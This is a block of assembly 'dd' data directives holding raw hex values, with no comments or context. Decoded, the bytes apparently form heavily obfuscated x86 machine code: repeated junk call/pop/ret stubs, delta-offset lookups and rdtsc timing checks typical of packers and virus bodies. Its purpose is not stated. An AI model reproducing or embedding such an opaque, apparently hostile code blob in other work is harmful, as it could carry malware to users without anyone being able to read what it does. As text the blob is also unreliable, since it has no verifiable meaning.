		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0AEC35545h
		dd 745B2D98h, 89B14B5Ah, 0E90CC58Dh, 8E905h, 430B0000h
		dd 0C9FDEF9Dh, 0B5FF9252h, 5ECBACEh, 4D95FFF9h,	8B05E92Bh
		dd 0E928CDBDh, 0C2B58B05h, 6A05ECBAh, 3E85300h,	20000000h
		dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 2E6FC353h
		dd 0B0FD345Dh, 0DC3EDF81h, 858B50E4h, 5E90FDDh,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0A2C35343h, 58E0Fh
		dd 34BF0000h, 896B8BF0h, 0C486h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 958B2A71h
		dd 5E92655h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Bh,	41C35545h, 23BCEFD6h, 66FDFF53h, 26ACF81h, 6A04C283h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 4E5DC356h, 577D4FAFh, 0F46FF16h, 38Eh, 0FDD78000h
		dd 205089F8h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 1Dh,	3EC35141h, 93F6D829h, 3016AE99h, 0C9BD896Ah, 8D05E92Dh
		dd 0ECD05585h, 50006A05h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 66F2D389h, 8834426Dh, 4AEF809Ah, 12E9h, 0E394BE00h
		dd 0EE931DB6h, 0D87105C7h, 0D819E7AEh, 896D9F46h, 0B886h
		dd 55850900h, 6A05E906h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1804h, 0C3574700h, 855732F8h, 49BD2BB2h
		dd 0FF05E916h, 0ECBACEB5h, 9589FC05h, 5E92D69h,	0AD95FFh
		dd 6A05E9h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 0BBC97C3h, 0D098DBFAh, 505B5296h,	0F98B6696h
		dd 0BACEB5FFh, 6A05ECh,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 1A0424h, 56460000h, 0E9228CC3h, 69C868BEh, 1D8D9D8Bh
		dd 9CBB05E9h, 0E96F18ECh, 11h, 0CA593E29h, 6EED83C3h, 7F6B9C0Bh
		dd 891F19F4h, 3195FF34h, 6A05E932h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 0D2F6C352h
		dd 9D89BD17h, 5E90DC1h,	0BD83FE8Ah, 5E92AB1h, 43840F00h
		dd 66000000h, 8D89FA8Bh, 5E91F19h, 0DE950h, 53900000h
		dd 20660FDAh, 0D9BE6824h, 898E3E84h, 6A2434h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 43B5EDC3h
		dd 865B6767h, 0B5FFAA77h, 5ECBACEh, 191D8589h, 95FF05E9h
		dd 5E92F61h, 3BD1BB66h,	0BACEB5FFh, 5E905ECh, 0D6000000h
		dd 9E551DD8h, 2DC595FFh, 6A05E9h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 170424h, 53430000h, 381060C3h, 0D4D38149h
		dd 0E949F728h, 6, 9FC2B851h, 0BD837A09h, 5E903FDh, 38840F02h
		dd 89000000h, 0E907C5B5h, 55858B05h, 6A05E930h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
		dd 35EAC350h, 0D03E208h, 8B0000C6h, 0F2DB81D8h,	0C7356D79h
		dd 0E927A985h, 5, 68B0F00h, 1000000h, 0E9306D9Dh, 39950105h
		dd 0E905E929h, 0FFFFF20Eh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 19h, 2EC35141h, 644588E5h,	0FFBF0F17h, 6AC18Bh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 11D537C3h, 858DE293h, 5E921E5h, 2D699589h, 9D8B05E9h
		dd 5E92245h, 14E890h, 55CB0000h, 4290C1BCh, 0B9AE3239h
		dd 8CF70187h, 30CA1439h, 0AE87A7Eh, 9C000000h, 2349CFBDh
		dd 0B501554Eh, 505B5B4Fh, 5216BF60h, 52503182h,	0FFE8B66h
		dd 0C78B6631h, 9061585Ah, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 16h, 2CC35242h, 0DE8A8EE3h, 0AE8006Ah, 2000000h
		dd 8A6D3ED5h, 0F00AFA78h, 4B35F0Bh, 5B51006Ah, 0A80E858Dh
		dd 6A05EDh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 0F7879C3h, 0C083FABFh, 56006A05h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 6D5F351Bh
		dd 4F19C4E1h, 0B5897E47h, 5E92F4Dh, 0A0BB6690h,	46BF50A2h
		dd 9069455Ah, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 17h,	0F5C35040h, 0FBAE289h, 6ADEBFh,	3BEB8166h, 8B006A74h
		dd 0E90FA99Dh, 0A195FF05h, 6A05E90Ah, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 6D60C356h
		dd 0BF8D8DCCh, 6A05ECADh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 61DAC356h, 0CD5E6169h
		dd 0D1FF59CFh, 245DBD8Bh, 0BD8305E9h, 5E901BDh,	64850F01h
		dd 89000000h, 0E931619Dh, 0FC026A05h, 0CA8A6050h, 8961E28Ah
		dd 6A2404h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
		dd 57470000h, 0E96066C3h, 0Bh, 2C8806A0h, 5CB3DFBDh, 61D179E8h
		dd 0AD95FFh, 6A05E9h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 150424h, 55450000h, 0E93A6AC3h, 0E24h, 0E8h,	0ED815D00h
		dd 5EDA818h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 18h,	3C35646h, 5394F2Bh, 6A38B3h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 180424h, 55450000h, 1B73D3C3h
		dd 8DF86265h, 0EC904B85h, 0DFB70F05h, 0DF8B6090h, 14E95061h
		dd 0B5000000h, 0F160E8ADh, 20A56E9Fh, 26BD7DEDh, 0EE3C0D9Fh
		dd 90BAA0FAh, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 1Dh,	0BFC35343h, 9804750Fh, 0D07FA7B3h, 0FEAABF1Bh
		dd 0FF6428E8h, 35h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1604h, 0C3534300h, 5736CEA5h, 3B1BD89h, 645F05E9h
		dd 2589h, 58BB0000h, 0FF1C8734h, 0E9068985h, 53006A05h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 58FF08A8h, 0DD31684Dh, 6AFF6Ah, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 0EEAE61C3h, 16AAEF74h
		dd 890F54h, 0FF000000h,	0E910E9B5h, 57006A05h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 8AF10547h
		dd 9B589F4h, 0FF05E912h, 0E907C995h, 137E905h, 0BF0F0000h
		dd 3D9D2BDEh, 0B005E930h, 0C8E0F00h, 0F000000h,	68Ah, 11BD0100h
		dd 0E605E931h, 0E4D88B70h, 1C810F71h, 0E8000000h, 10h
		dd 0B49E75Eh, 32865CD1h, 7C9D3E05h, 0DDCAFB61h,	23DBD8Bh
		dd 3C5B05E9h, 0EA830F61h, 89000000h, 0E90E7D95h, 0C8B60F05h
		dd 82BF6651h, 6BA5BA2h,	89000000h, 0E932BD9Dh, 60C18B05h
		dd 0EE96BB4h, 17000000h, 0E8F2F51Ah, 5EC5C0BFh,	28DFAC49h
		dd 0E8C16178h, 12C78004h, 57E2F766h, 5FF88B66h,	9D8BC82Bh
		dd 5E90499h, 0BD8BD18Bh, 5E918D1h, 2E9h, 8B5F5700h, 0E90B4185h
		dd 619D0905h, 6605E918h, 0C083DA8Bh, 4EC6BF07h,	0C0830307h
		dd 0D88B6600h, 830FD03Bh, 34h, 0FE960h,	1DE20000h, 54B78827h
		dd 7D49A113h, 848AA61h,	0BE91Fh, 3E1B0000h, 0E5252F5Bh
		dd 0BD5A1EBDh, 42E961ADh, 0F000000h, 9589F8B7h,	5E92949h
		dd 1E198D8Bh, 8B6605E9h, 1E183DFh, 27840Fh, 8D290000h
		dd 5E91F89h, 1E19A583h,	66FE05E9h, 9D8BF88Bh, 5E928B1h
		dd 0B419589h, 9D8B05E9h, 5E92F45h, 0E9h, 9EB58D00h, 8905ED1Dh
		dd 0E9162985h, 830F6005h, 6, 5C59531h, 9D8905E9h, 5E91941h
		dd 6A006A61h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 0F57EC353h, 1935B509h,	95FF05E9h
		dd 5E91E95h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 19h,	21C35545h, 983C57F3h, 0BF66527Bh, 0B95F0BF5h, 828h
		dd 1A70C2BFh, 819D8918h, 8305E92Ah, 6AFCE1h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 145695C3h
		dd 104B1BC9h, 0FBA893Dh, 0BD8BDFBFh, 5E92745h, 0B19589FCh
		dd 0B805E90Dh, 0
		dd 78A0Fh, 810F0000h, 1, 0E9D22BF8h, 0Ah, 0F594F822h, 31FC8C4Ch
		dd 33ADCAA9h, 3E8D1C2h,	4E983D0h, 0F53F475h, 1183h, 0CE900h
		dd 81070000h, 0FD647B81h, 0E8A44FE0h, 0E85B97F1h, 5, 30496A40h
		dd 880D5FE7h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 71E3C351h, 88687EAEh
		dd 0BB9BA3CEh, 2655958Bh, 6A05E9h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 140424h, 52420000h, 0BD8B2EC3h, 5E92A2Dh
		dd 8058D8Bh, 6A05E9h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 0B82FC3h, 224B3D8Ah, 12499D8Bh
		dd 8B5005E9h, 3188BC2h,	8B188BC1h, 3E8D1C1h, 58188BC2h
		dd 5B19D29h, 840F05E9h,	5, 0DEBF0F56h, 0F1BD835Fh, 5E91Ch
		dd 0BC840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 160424h, 55450000h, 0F86C4DC3h, 9E9h, 7735C300h, 0E0E00893h
		dd 12E82708h, 82000000h, 0A27D100Bh, 0DECB72FFh, 0BDC82CC5h
		dd 89FD2F43h, 9D89567Ah, 5E91805h, 0B85B5Bh, 0F000000h
		dd 0B87h, 0BF0F6000h, 0C98589F6h, 6105E91Dh, 30B59589h
		dd 8D8D05E9h, 5E94E6Dh,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 19h, 0A2C35747h, 0B711681h, 0A0D78099h, 6AE1FFh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 0FBD2D2C3h, 137FE00Dh, 0E3816622h, 0BD8348CDh, 5E9163Dh
		dd 2A840F00h, 0F000004h, 0BD83FAB7h, 5E9163Dh, 35840F01h
		dd 6A000004h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 0D14CC350h, 3DBD839Fh,	305E916h
		dd 3D4860Fh, 0BB660000h, 6A608260h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 0D4E6C351h
		dd 0AC4BC82h, 2DBD9D8Bh, 8C6605E9h, 0B99D2BD9h,	8005E904h
		dd 6A04E1h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
		dd 53430000h, 6AD793C3h, 9EB87DF6h, 0AF8D07Dh, 90840FC9h
		dd 6A000001h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 0CFA5C353h, 0B8AFA1C1h, 4237DD80h
		dd 618D8960h, 8A05E918h, 858B61D1h, 5E92869h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 7CC35040h, 67981805h
		dd 8971C222h, 0E90E59B5h, 61853305h, 8905E90Eh,	0E92EA59Dh
		dd 4895005h, 0DBB70F24h, 8589006Ah, 5E905F9h, 4E8h, 1F03FF00h
		dd 52505000h, 5250310Fh, 310FFA8Bh, 585A6160h, 448B585Ah
		dd 0BF660424h, 8B43E9h,	89DE8B66h, 66042444h, 6A58D98Bh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1C042444h
		dd 45000000h, 8853C355h, 98D58CF3h, 0FF6552BAh,	0E9292D95h
		dd 56006A05h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1804h
		dd 0C3564600h, 0CB026C4h, 10E956h, 78EC0000h, 0E821B27Ch
		dd 89D9ED04h, 0DDC6393Eh, 890F58EDh, 6,	171D8D89h, 858905E9h
		dd 5ECBACEh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ch,	95C35343h, 0E8A2DC5Bh, 0D71B358Fh, 0F59D0957h
		dd 5F05E908h, 19FE9h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 9D99303Bh, 830F6D7Dh
		dd 19h,	138F0Fh, 0DE80000h, 0CC000000h,	3594B863h, 14428D92h
		dd 0E4ED9185h, 25BD8B5Bh, 8B05E92Bh, 0ECBAC685h, 50006A05h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 97DD20B5h, 8BABA71Fh, 0E917159Dh, 0AE905h, 446F0000h
		dd 0A3F6286Dh, 0E0F73543h, 1800C7h, 9D8B0000h, 5E93101h
		dd 0BACAB58Bh, 8D0F05ECh, 0
		dd 2F39858Bh, 89F905E9h, 0D98D0106h, 8B05E90Bh,	0E9286985h
		dd 5E805h, 0FFF10000h, 8B0F35CBh, 0E90085BDh, 46895F05h
		dd 5AB2BF04h, 50503EB3h, 2434895Bh, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 8EC35747h, 98E090CFh, 536024DFh
		dd 0B73E7ABBh, 0BF0F5B09h, 64B761F7h, 0BAC6B5FFh, 6A05ECh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 64B367C3h, 0BFA4B4B5h, 499D89ACh, 6805E903h,	1A829957h
		dd 3481F3B7h, 9D9AA824h, 6D95891Ah, 8D05E919h, 0ECBACE85h
		dd 50006A05h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1804h
		dd 0C3504000h, 53E3DF2Dh, 0FFBB66BFh, 14E99067h, 0FB000000h
		dd 528D22C8h, 9946EA2Eh, 1B17005Bh, 2430F0C9h, 50D4B6F8h
		dd 0F525053h, 5A616031h, 0F905F58h, 95FFD8B7h, 5E9292Dh
		dd 5FDA8B51h, 50006A61h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1704h, 0C3504000h, 77010787h, 163D85C7h, 305E9h, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 0FDC756C3h, 1EBCBF66h, 7F1EDB81h, 0BD834C32h, 5ECBACEh
		dd 27840F00h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 4E11C350h, 0E2CD433Bh
		dd 1BE9D6h, 30500000h, 4400110Ch, 0E8C10111h, 11443010h
		dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h,	11640011h
		dd 10E8C101h, 2114430h,	3116400h, 4E98358h, 1BEBE775h
		dd 10E8C150h, 3116428h,	2114430h, 11642858h, 11043001h
		dd 7504E983h, 8B00EBE7h, 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1D04h, 0C3554500h, 14B261F5h, 385E1235h
		dd 0BF0F9097h, 95BD0BD9h, 8305E925h, 0E9163DBDh, 850F0305h
		dd 404h, 0BD83D88Ah, 5ECBACEh, 0F5840F00h, 6A000003h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 0D88C351h, 15C9267Fh, 0DC6535F9h, 1BD8BF5h, 0FF05E91Fh
		dd 0ECBACEB5h, 50006A05h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1604h, 0C3504000h, 0FFA1ABC7h, 0E92B7595h
		dd 53006A05h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1C04h
		dd 0C3534300h, 59CEDE92h, 7711F1FAh, 0C2B58BCFh, 6605ECBAh
		dd 0DE62CF81h, 106C7h, 0BD030001h, 5E92EA9h, 4890F96h
		dd 66000000h, 5077F9BBh, 0DE996h, 0DD850000h, 712CBCAAh
		dd 0A9A173C1h, 29A09DDAh, 0E92B398Dh, 0CEB5FF05h, 0F05ECBAh
		dd 28Fh, 0FFFB8B00h, 0E92B4D95h, 45BD2905h, 8105E932h
		dd 878CA6C3h, 0C2B58B3Ah, 6A05ECBAh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 0DB11C351h
		dd 0FDD858Bh, 6A05E9h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 190424h, 53430000h, 0D8A93FC3h, 8BF7CD76h, 0E907FDBDh
		dd 0C4868905h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 2E88C352h, 0B1A956E0h
		dd 8167F41Dh, 0C42504CBh, 219D8B35h, 8B05E905h,	0E9265595h
		dd 56006A05h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1704h
		dd 0C3564600h, 5E42BFDAh, 0A9F78166h, 4C283FCh,	41F38056h
		dd 2050895Fh, 499FBB66h, 0D055858Dh, 6A05ECh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 190424h, 52420000h, 0E172CDC3h
		dd 8155BF63h, 0C9BD71D3h, 0B886892Bh, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
		dd 0BF50C352h, 6A006AB8h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 5BD1C355h, 0C2E5E8D8h
		dd 0FA6C04Ah, 68Fh, 9DB52900h, 0FF05E906h, 0ECBACEB5h
		dd 57006A05h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1504h
		dd 0C3574700h, 0B5895066h, 5E90C81h, 0AD95FFh, 0C38105E9h
		dd 5389CE4Fh, 0CAABF50h, 34895C7Ah, 51006A24h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 9E97C623h
		dd 853195C2h, 5E90F31h,	0BACEB5FFh, 816605ECh, 0FFD9EAF7h
		dd 0E9323195h, 5CF38105h, 83378EB1h, 0E92AB1BDh, 840F0005h
		dd 52h,	2295BD8Bh, 0F9605E9h, 0C81h, 7E900h, 86770000h
		dd 2148896Bh, 52505026h, 0B82ABF66h, 0BB66310Fh, 585A9424h
		dd 52006A96h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 5E9764Ch, 0F3000000h, 4D50CAB4h,	0B5FFD88Bh
		dd 5ECBACEh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 19h,	7C35646h, 16F884B3h, 48B0F8Ah, 66000000h, 0FF32CABFh
		dd 0E92F6195h, 56006A05h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1A04h, 0C3564600h, 6DCDE4C1h, 0BBD3C657h
		dd 0B19C36Fh, 0BACEB5FFh, 6A05ECh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 14E9C0C3h, 0AE000000h
		dd 0DEDF0BCh, 0D92B592h, 0F7972591h, 776A2ED2h,	0FFD8B5Eh
		dd 95FFDAB7h, 5E92DC5h,	3FDBD83h, 0F0205E9h, 2484h, 0EEC38100h
		dd 8B07DA09h, 0E9305585h, 10E905h, 0E2420000h, 0B3A438C5h
		dd 0B86F49F3h, 0E31C44C0h, 0C6A2BEh, 0A985C700h, 5E927h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 0DBBCC351h, 450B3DCAh,	0D5CBDF45h
		dd 0FFF33BE9h, 14E8FFh,	4C0D0000h, 14F0384h, 290271EFh
		dd 330D7494h, 5BB98AB4h, 11BFFDE0h, 5B5285B9h, 6AC18BF9h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 18042444h
		dd 47000000h, 2994C357h, 9ED1E46h, 0E91D69B5h, 0DFB70F05h
		dd 0BE9h, 43975100h, 0B3A32609h, 870BE740h, 21E5858Dh
		dd 0BD8B05E9h, 5E92B49h, 24048950h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 14h, 0C5C35040h,	0D88B006Ah, 0BD8B006Ah
		dd 5E91E11h, 0B86B858Dh, 6A05EDh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1A0424h, 52420000h, 7F6E4C3h, 4A5C3506h
		dd 1CD19D8Bh, 816605E9h, 8369DDDFh, 6A05C0h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 0DC071CC3h
		dd 0CD07C3AEh, 50D98B90h, 0F59043B3h, 8B66006Ah, 0B58956DAh
		dd 5E910F1h, 6A006A5Bh,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 15042444h, 42000000h, 0DB5DC352h,	8D0FD98Bh
		dd 2, 95FFFA8Bh, 5E90AA1h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 18h, 83C35646h, 0AE91B490h, 0ADBF8D8Dh, 6A05ECh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 581F22C3h, 0FF6DA5EDh, 12E9h, 5F9B7700h, 0F8176773h
		dd 0E3B63133h, 9EEA1618h, 0FFAAA83Fh, 0DE9D1h, 87370000h
		dd 5A769BFh, 0D144A311h, 0E9D8BDA7h, 14h, 40BC1E47h, 54944956h
		dd 5B48531Eh, 0B0FB5C1h, 0F48E5BEFh, 1BDBD83h, 0F0105E9h
		dd 0C785h, 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h
		dd 1604h
		dd 0C3514100h, 81BB64E9h, 0DAB38EDFh, 7DB58928h, 6A05E910h
		dd 55006A02h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 4A1289C5h, 0BD8BFE30h, 5E9050Dh,	0DA8B6690h
		dd 66605750h, 8B5AB8BAh, 905F61F3h, 7E8h, 0B6D62600h, 9A91082Ah
		dd 665BDD8Ah, 7A35F381h, 0AD95FFh, 6A05E9h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 941F4EC3h
		dd 0AE852h, 0C01D0000h,	0FB94F673h, 0BC477DBFh,	0EE8h
		dd 4864A800h, 0CEF08732h, 39130CDBh, 2980C381h,	0E900859Dh
		dd 0F55B5F05h, 0D85E9h,	0E800h,	815D0000h, 0EDB875EDh
		dd 50006A05h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1704h
		dd 0C3504000h, 0BD0001C6h, 3109B509h, 9D8905E9h, 5E932C1h
		dd 18E19D8Bh, 858D05E9h, 5EC904Bh, 0CE5BD8Bh, 509005E9h
		dd 0CE8h, 0FC0A900h, 0ECBC26Ch,	63F092B6h, 0CE9FCh, 0A4AE0000h
		dd 14BCB2D9h, 0DB639D6Fh, 905B2D43h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Dh, 2BC35040h, 0CACD9B7Dh, 0BDBDEAFFh
		dd 35FF64E6h, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 40C35545h
		dd 54944956h, 27F38166h, 9EF81CCh, 640DDBCEh, 2589h, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 4A488CC3h, 7B22B6DEh, 5E9h, 6A108200h, 85FF9CF9h, 5E90689h
		dd 18D9D89h, 0FF6A05E9h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 14h, 0ECC35545h, 0B698589h, 0B5FF05E9h, 5E903F5h
		dd 18319D8Bh, 95FF05E9h, 5E907C9h, 0EFE9h, 0F7816600h
		dd 0B07A42h, 800Fh, 70E60000h, 24B98D09h, 71E405E9h, 7E8h
		dd 8AA3AF00h, 0E4AC205Eh, 205BD8Bh, 3C5B05E9h, 0BD830F61h
		dd 8B000000h, 0C8B60FDEh, 3A99D8Bh, 6BA05E9h, 31000000h
		dd 0E91DE58Dh, 51C18B05h, 21F99D89h, 0C15B05E9h, 9D8B04E8h
		dd 5E90785h, 2BE2F766h,	319589C8h, 8B05E90Dh, 0D8BF0FD1h
		dd 7FE9h, 0B59D0B00h, 8B05E932h, 885h, 0FDBD0100h, 8305E91Dh
		dd 9D8B07C0h, 5E91EF5h,	8B00C083h, 0E90331BDh, 0FD03B05h
		dd 1D83h, 0BA666000h, 958B24D0h, 5E90B55h, 42E961h, 840F0000h
		dd 6, 2C1DBD8Bh, 8D8B05E9h, 0FFFFFFFFh,	0D7AFBB66h, 0F01E183h
		dd 2384h, 68E38100h, 83375C6Fh,	0FFFFFFA5h, 0BD8BFEFFh
		dd 5E905B1h, 89589h, 81660000h,	0E91305F7h, 0
		dd 37A9B58Dh, 6A05EDh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1D0424h, 52420000h, 0D863ACC3h, 0E88350E0h, 89A1A9E6h
		dd 0E912219Dh, 6A006A05h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 0A68CC355h,	419D8B7Eh
		dd 8B05E900h, 0E92FDDBDh, 9595FF05h, 6A05E91Eh,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
		dd 0A99C357h, 0BF6649DDh, 9AB9BAB2h, 6A000010h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 8316C355h, 6AFCE1h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 170424h, 55450000h, 45C5C1C3h, 0F381665Fh, 33FC8DB5h
		dd 0E9070D9Dh, 66C02B05h, 0E9F228BFh, 0Eh, 2C9ED988h, 88E2D7FBh
		dd 0FA3E268h, 0D22B4489h, 0D1C233ADh, 83D003E8h, 0F47504E9h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 49C35747h
		dd 0F0DACA66h, 0B550C2BBh, 8D8960FCh, 5E93269h,	12E8h
		dd 257DA500h, 0D8094D0Bh, 3CDF60D6h, 0D318D640h, 0F8D2F53h
		dd 83h,	0F615900h, 880DFFBFh, 0E9000000h, 0Dh, 7D42EC05h
		dd 3CBC1AECh, 56DAA80Fh, 55958B23h, 8B05E926h, 0E91DC99Dh
		dd 58D8B05h, 8905E908h,	0E926459Dh, 0C28B5005h,	0C103188Bh
		dd 0C18B188Bh, 0C203E8D1h, 6658188Bh, 83F195BBh, 0E91CF1BDh
		dd 840F0005h, 42h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ah, 0C8C35141h, 0CFB9A621h, 8B66B095h, 0B8FBh
		dd 7EBF0000h, 8D7C90C4h, 0E94E6D8Dh, 8C1ABB05h,	0E1FF61A5h
		dd 0B49B529h, 0BD8305E9h, 5E9163Dh, 0A6840F00h,	0E9000004h
		dd 8, 7F6E414h,	4A5C3506h, 163DBD83h, 0F0105E9h, 4A784h
		dd 0C9BD8B00h, 8B05E90Ah, 0E901CDBDh, 3DBD8305h, 305E916h
		dd 458860Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 190424h, 57470000h, 79D298C3h, 6067C5BBh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 18h, 0FEC35040h, 7AB4E3F2h
		dd 0D98C66F8h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ah,	0E2C35141h, 63C8C283h, 8D297694h, 5E910A5h, 6A04E180h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 0E44DC351h, 0A5852949h, 0A05E917h, 34840FC9h
		dd 6A000001h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 9C3CC355h, 8B66A5AAh, 69858BFBh
		dd 8905E928h, 0E90EAD95h, 61853305h, 6605E90Eh,	5250FE8Bh
		dd 0BE860h, 8690000h, 7C0449E6h, 0EB43999Eh, 52505FFAh
		dd 585A310Fh, 4895B61h,	0ADB52924h, 6A05E91Dh, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 775E0B40h, 4D55E2F2h, 7E8h, 87F21A00h, 9690F530h, 32D59D03h
		dd 685F05E9h, 2E12DE99h, 5E960h, 58F40000h, 51DABB28h
		dd 3481615Bh, 0DDD6624h, 65BD8B2Eh, 0FF05E91Eh,	0E9292D95h
